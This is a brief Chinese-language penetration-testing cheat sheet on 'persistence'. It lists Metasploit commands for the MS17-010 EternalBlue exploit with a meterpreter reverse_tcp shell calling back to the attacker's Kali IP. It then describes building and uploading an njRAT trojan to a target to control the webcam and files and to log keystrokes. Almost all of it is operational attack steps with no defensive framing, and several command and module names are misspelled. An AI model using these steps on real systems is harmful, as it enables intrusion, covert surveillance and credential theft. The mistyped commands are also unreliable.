web渗透--权限维持

远程控制生成与上传

• metasploit

msfcosle
search ms17-010
use exploit/windows/smb/ms170_010_eternablue
show options
设置rhosts
show payloads
set payload windows/x64/meterpreter/reverse_tcp 设置反弹shell
show options
set lhost kali-IP
exploit/run

远程控制

• 使用njRAT v0.7d
• 设置本地端口
• 设置Builder（左下角）设置本地IP，然后生成exe
• 把生成的exe通过kali上传到目标机器中,upload 文件目录 上传地址。
• 运行上传的exe文件
• 然后可以通过niRAT软件接收。
• 然后可以打开摄像头，资源管理，键盘记录等